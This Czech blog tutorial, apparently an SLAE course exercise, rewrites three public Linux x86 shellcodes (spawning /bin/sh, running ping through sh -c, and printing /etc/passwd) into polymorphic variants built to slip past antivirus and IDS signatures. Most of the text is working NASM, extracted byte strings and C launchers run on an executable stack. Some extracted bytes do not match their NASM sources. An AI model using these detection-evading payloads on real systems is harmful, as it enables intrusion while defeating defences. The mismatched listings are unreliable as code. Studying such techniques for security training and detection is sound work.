Polymorfní 32bitové shellcody

V šestém textu této 32bitové série bude demonstrováno psaní polymorfních shellcodů, budou přepsány 3 shellcody z veřejně dostupných zdrojů do jejich polymorfní verze. Polymorfní shellcode nesmí být větší jak 150 % délky originálu.

Běžné shellcody jsou fingerprintované AV a IDS, proto nejsou během penetračního testování příliš vhodné. Například „/bin/bash/“ může být pro IDS jasné varování, že se děje něco podezřelého. Problém není možné kompletně vyřešit používáním custom encoderů, protože ty jsou vždy identifikovatelné pomocí stubu a instrukcí, které obsahuje. Naštěstí existuje řešení a tím jsou polymorfní shellcody. Díky polymorfním shellcodům je možné obelstít běžné AV a IDS řešení.

Polymorfní shellcode může používat například:

  • vložení instrukcí, které nemají žádnou funkci a nemění funkcionality shellcodu
  • používání odlišných nebo náhodných registrů
  • randomizace pořadí prováděných instrukcí
  • používání přímo ESP oproti push/pop instrukcím
  • nepoužívání známých hex řetězců
  • používání exotičtějších instrukcí

Jako první použijeme jednoduchý execve(“/bin/sh”) shellcode s originální délkou 28 bytů. Zdroj

/*
Title:        Linux x86 execve("/bin/sh") - 28 bytes
Author:        Jean Pascal Pereira <pereira@secbiz.de>
Web:        http://0xffe4.org
Disassembly of section .text:
08048060 <_start>:
 8048060: 31 c0                 xor    %eax,%eax
 8048062: 50                    push   %eax
 8048063: 68 2f 2f 73 68        push   $0x68732f2f
 8048068: 68 2f 62 69 6e        push   $0x6e69622f
 804806d: 89 e3                 mov    %esp,%ebx
 804806f: 89 c1                 mov    %eax,%ecx
 8048071: 89 c2                 mov    %eax,%edx
 8048073: b0 0b                 mov    $0xb,%al
 8048075: cd 80                 int    $0x80
 8048077: 31 c0                 xor    %eax,%eax
 8048079: 40                    inc    %eax
 804807a: cd 80                 int    $0x80
*/
#include <stdio.h>
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73"
                   "\x68\x68\x2f\x62\x69\x6e\x89"
                   "\xe3\x89\xc1\x89\xc2\xb0\x0b"
                   "\xcd\x80\x31\xc0\x40\xcd\x80";
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Nejdříve si shellcode analyzujeme (nikdy nespouštějte neznámé shellcody bez předchozí analýzy), následně jej zkompilujeme a otestujeme:

  • gcc -fno-stack-protector -z execstack exec.c -o exec

Jak můžeme vidět, shellcode funguje, budou provedeny následující modifikace:

  • xor reg, reg:
    • sub reg, reg
  • mov reg1, reg2:
    • push reg2 + pop reg1
  • push 0x31373737:
    • add eax,0x30363636
    • add eax,0x01010101
    • push eax
    • xor eax,eax

Finální nasm soubor:

; Filename: exec-polymorphic.nasm
; Author: SLAE-14209
 
global _start           
 
section .text
 
_start:
     
      ;xor eax, eax
      sub eax, eax
      push eax
      push 0x68732f2f
      ;push 0x6e69622f
      add eax, 0x5d58511e
      add eax, 0x11111111
      push eax
      xor eax, eax
      ;mov ebx, esp
      push esp
      pop ebx
      ;mov ecx, eax
      push eax
      pop ecx
      mov edx, eax
      mov al, 0xb
      int 0x80
      
      ;xor eax, eax
      sub eax, eax
      inc eax
      int 0x80

Zkompilujeme a spustíme:

  • nasm -f elf32 -o exec.o exec.nasm
  • ld exec.o -o exec

Extrahujeme shellcode:

  • objdump -d ./exec |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x29\xc0\x50\x05\x1e\x1e\x62\x57\x05\x11\x11\x11\x11\x50\x31\xc0\x68\x2f\x62\x69\x6e\x54\x5b\x50\x59\x50\x59\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x29\xc0\x50\x68\x2f\x2f\x73\x68\x05\x1e\x51\x58\x5d\x05\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x50\x59\x89\xc2\xb0\x0b\xcd\x80\x29\xc0\x40\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme a spustíme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost je 37 bytů.

Jako druhý shellcode použijeme sys_execve(“/bin/sh/, “-c”, “ping localhost”), který má velikost 55 bytů. Zdroj

char asshole[] = "\x6a\x0b"              // push   $0xb
                "\x58"                  // pop    %eax
                "\x99"                  // cltd
                "\x52"                  // push   %edx
                "\x68\x73\x74\x20\x20"  // push   $0x20207473
                "\x68\x61\x6c\x68\x6f"  // push   $0x6f686c61
                "\x68\x20\x6c\x6f\x63"  // push   $0x636f6c20
                "\x68\x70\x69\x6e\x67"  // push   $0x676e6970
                "\x89\xe6"              // mov    %esp,%esi
                "\x52"                  // push   %edx
                "\x66\x68\x2d\x63"      // pushw  $0x632d
                "\x89\xe1"              // mov    %esp,%ecx
                "\x52"                  // push   %edx
                "\x68\x2f\x2f\x73\x68"  // push   $0x68732f2f
                "\x68\x2f\x62\x69\x6e"  // push   $0x6e69622f
                "\x89\xe3"              // mov    %esp,%ebx
                "\x52"                  // push   %edx
                "\x56"                  // push   %esi
                "\x51"                  // push   %ecx
                "\x53"                  // push   %ebx
                "\x89\xe1"              // mov    %esp,%ecx
                "\xcd\x80";             // int    $0x80
                
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) asshole;
  (int)(*func)();
}

Jak můžeme vidět ze screenu výše, shellcode funguje.

Polymorfní kód:

  • push 0x68732f2f:
    • mov ebx, 0x68732f2e
    • inc ebx
    • push ebx
  • push 0x6e69622f:
    • mov ebx, 0x6e696230
    • dec ebx
    • push ebx
  • push word 0x632d:
    • add edx, 0x521d
    • add edx, 0x1110
    • push edx
    • xor edx, edx

Finální nasm soubor:

; Filename: ping-polymorphic.nasm
; Author: SLAE-14209
  
global _start           
section .text
_start:
  
    push 0xb
    pop eax
    cdq
    push edx
   
    push 0x74736f68         ; 
    push 0x6c61636f         ; 
    push 0x6c20676e         ; => "//bin/////ping localhost"
    push 0x69702f2f         ; 
    push 0x2f2f2f6e         ; 
    push 0x69622f2f         ;
    
    mov esi, esp
    push edx
    ;push word 0x632d       ; "c-"
    add dx, 0x521d
    add dx, 0x1110
    push dx
    xor edx, edx
   
    mov ecx, esp
    push edx
    ;push 0x68732f2f        ; "hs//"
    mov ebx, 0x68732f2e
    inc ebx
    push ebx
    
    ;push 0x6e69622f       ; "nib/"
    mov ebx, 0x6e696230
    dec ebx
    push ebx
    
    mov ebx, esp
    push edx
    push esi
    push ecx    
    push ebx
    mov ecx, esp
    int 0x80

Zkompilujeme a spustíme:

  • nasm -f elf32 -o ping.o ping.nasm
  • ld ping.o -o ping

Extrahujeme shellcode:

  • objdump -d ./ping |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x6a\x0b\x58\x99\x52\x68\x68\x6f\x73\x74\x68\x6f\x63\x61\x6c\x68\x6e\x67\x20\x6c\x68\x2f\x2f\x70\x69\x68\x6e\x2f\x2f\x2f\x68\x2f\x2f\x62\x69\x89\xe6\x52\x66\x81\xc2\x1d\x52\x66\x81\xc2\x10\x11\x66\x52\x31\xd2\x89\xe1\x52\xbb\x2e\x2f\x73\x68\x43\x53\xbb\x30\x62\x69\x6e\x4b\x53\x89\xe3\x52\x56\x51\x53\x89\xe1\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 79 bytů.

Jako třetí shellcode použijeme shellcode, který provádí příkaz “cat /etc/passwd” s délkou 43 bytů. Zdroj

#include <stdio.h>
 
const char shellcode[]="\x31\xc0" // xorl %eax,%eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x63\x61\x74" // push dword 0x7461632f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69622f
"\x89\xe3" // mov ebx,esp
"\x52" // push edx
"\x68\x73\x73\x77\x64" // pu sh dword 0x64777373
"\x68\x2f\x2f\x70\x61" // push dword 0x61702f2f
"\x68\x2f\x65\x74\x63" // push dword 0x6374652f
"\x89\xe1" // mov ecx,esp
"\xb0\x0b" // mov $0xb,%al
"\x52" // push edx
"\x51" // push ecx
"\x53" // push ebx
"\x89\xe1" // mov ecx,esp
"\xcd\x80" ; // int 80h
 
int main()
{
(*(void (*)()) shellcode)();
 
return 0;
}
 
 
/*
shellcode[]=        "\x31\xc0\x99\x52\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x89\xe3\x52\x68\x73\x73\x77\x64" 
                "\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
*/

Shellcode funguje, provedené změny:

  •  xor eax,eax:
    • sub eax, eax
  •  push 0x7461632f:
    • add ebx, 0x6350521e
    • add ebx, 0x11111111
    • push ebx
    • xor ebx, ebx
  • push 0x6e69622f
    • add ebx, 0x7F7A7340
    • sub ebx, 0x11111111
    • push ebx
    • xor ebx, ebx
  • mov ebx,esp
    • push esp
    • pop ebx
  • mov al,0xb
    • mov al, 11

Finální nasm soubor:

; Filename: passwd-polymorphic.nasm
; Author: SLAE-14209
 
global _start           
section .text
_start:
     
    ;xor eax,eax
    sub eax, eax
    
    cdq
    push edx
    ;push 0x7461632f         ; "tac/"
    add eax, 0x6350521e
    add eax, 0x11111111
    push eax
    xor eax, eax
    
    ;push 0x6e69622f         ; "nib/"
    add eax, 0x7F7A7340
    sub eax, 0x11111111
    push eax
    xor eax, eax
    
    ;mov ebx,esp
    push esp
    pop ebx
 
    push edx
    push 0x64777373          ; "dwss"
    push 0x61702f2f          ; "ap//"    
    push 0x6374652f          ; "cte/"
    mov ecx, esp
   
    ;mov al,0xb
    mov al, 11
    
    push edx
    push ecx
    push ebx
    mov ecx, esp
    int 0x80   

Zkompilujeme a spustíme:

  • nasm -f elf32 -o passwd.o passwd.nasm
  • ld passwd.o -o passwd

Extrahujeme shellcode:

  • objdump -d ./passwd |grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘\t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /\\x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80”

Vytvoříme C soubor:

#include <stdio.h>
#include <string.h>
 
char shellcode[] = "\x29\xc0\x99\x52\x05\x1e\x52\x50\x63\x05\x11\x11\x11\x11\x50\x31\xc0\x05\x40\x73\x7a\x7f\x2d\x11\x11\x11\x11\x50\x31\xc0\x54\x5b\x52\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe1\xb0\x0b\x52\x51\x53\x89\xe1\xcd\x80";
 
int main()
{
  fprintf(stdout,"Lenght: %d\n",strlen(shellcode));
  (*(void  (*)()) shellcode)();
}

Zkompilujeme:

  • gcc -fno-stack-protector -z execstack shellcode.c -o shellcode

Velikost přepsaného shellcodu je 59 bytů. Všechny použité soubory můžete nalézt zde: https://github.com/Pal1Sec/SLAE32